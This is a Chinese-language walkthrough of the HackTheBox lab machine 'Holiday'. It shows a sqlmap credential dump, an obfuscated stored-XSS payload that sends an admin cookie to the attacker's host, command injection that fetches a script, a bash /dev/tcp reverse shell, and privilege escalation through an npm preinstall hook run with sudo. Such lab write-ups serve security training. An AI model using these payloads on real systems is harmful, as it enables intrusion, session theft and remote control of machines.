• HTB-靶机-Holiday


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.25

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令

    autorecon 10.10.10.25 -o ./holiday-autorecon

    autorecon扫描结果

    根据综合性扫描会在指定的位置生成目录,目录下面有各种扫描结果,根据扫描结果来看得知目标开放了两个端口22和8000

    关于autorecon的使用方式可参考:https://cloud.tencent.com/developer/article/1514804

    我们看下扫描出来的22端口和8000端口的详细信息

    翻看了下虽然自动化但是还没发现可利用的地方,此工具使用了dirb进行目录爆破,但是发现并没爆出任何东西,我尝试再爆破目录一下

    dirb http://10.10.10.25:8000

    最终发现了admin目录,访问下

    跳到一个登录界面,试了下弱口令和万能密码,没效果,使用burpsuite抓包通过sqlmap跑一下,跑出来了一个账号和加密的hash密码,

    sqlmap -r login-holiday-seq --risk 3 --level 5 --threads 10 -T users --dump --batch

    在somd5上破解得出密码为nevergonnagiveyouup 使用此用户名密码登录目标靶机8000端口的web应用

    随便点击一个进去

    点击了上面的每个按钮,只有Notes可以输入数据进去,丢了几个xss代码,发现被过滤了,经过了一番搜索和测试验证,最终确认目标存在存储型xss,而且需要使用JavaScript函数String.fromCharCode绕过过滤器以运行payload,从而使xss代码被触发,盗取cookie,拿到管理员后台,在测试的过程中发现提交的代码,管理员会每分钟去执行一次,提示信息如下

    所以上述的利用场景知道了,我们可以做如下操作步骤进行操作

    • 绕过存储型XSS
    payload = '''document.write('<script src="http://10.10.14.4/bmfx.js"></script>');'''
    ','.join([str(ord(c)) for c in payload])
    • 上述在python2版本中交互式执行得到如下结果:
    100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59

    • 最终得出如下payload
    <img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
    • 文件bmfx.js -- 下面代码通过本地nc监听8822端口确认js代码被执行然后返回数据包,数据包中含有管理员的cookie代码
    var url="http://locahost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65";
    $.ajax({ method: "GET",url: url,success: function(data)
    { $.post("http://10.10.14.4:8822", data);}});
    或者

    window.addEventListener('DOMContentLoaded', function(e) {
    window.location = "http://10.10.14.4:8822/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
    })

    得到管理员的cookie之后使用cookie manager插件修改为管理员cookie(这里得到的cookie要看清楚,刚开始没注意细节,需要在burpsuite进行解码方可正常使用)

    获得管理员后台

    点击了上面功能按钮Bookings和Notes都是下载文件,下载下来是刚才注入测试的内容,根据经验判断可能存在命令注入,通过burpsuite抓包进行测试

    试了个&符号还真可以操作,在burpsuite操作需要进行url编码,上面的Bookings和Notes都可以进行命令注入,测试没问题反弹shell进行反弹,发现不成功,经过测试发现需要将IP地址转换为16进制,转换的地方:https://www.browserling.com/tools/ip-to-hex

    反弹方式:通过本地编写shell脚本注入代码:

    #!/bin/bash
    
    bash -i >& /dev/tcp/10.10.14.4/8833 0>&1

    进行反弹shell,明显别写带点的,利用的时候需要转换麻烦,上述代码命名为revbmfx  在burpsuite通过如下类似方式执行

    触发反弹shell
    GET /admin/export?table=bookings/%26wget+0x0a0a0e04/revbmfx
    GET /admin/export?table=bookings/%26bash+revbmfx

    成功反弹shell

    第一种提权方式

    第二种提权方式

    可参考:https://github.com/joaojeronimo/rimrafall/blob/master/package.json

    大概利用方式就是在目标靶机上新建文件package.json 里面内容如下:

    {
        "name": "bmfx",
        "version": "2.0.0",
        "scripts": {
            "preinstall": "/bin/bash"
        }
    }

    然后在此文件的当前目录下执行

    sudo npm i . --unsafe

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    打印水仙花数
    打印从1到k之间的所有素数
    Fibonacci数列小程序
    Fibonacci数
    水仙花数
    猴子吃桃问题
    5个数求最值—南阳acm
    三个数从小到大排序—南阳acm
    南阳acm奇偶数分离
    find the safest road--hdu1596
  • 原文地址:https://www.cnblogs.com/autopwn/p/13937954.html
Copyright © 2020-2023  润新知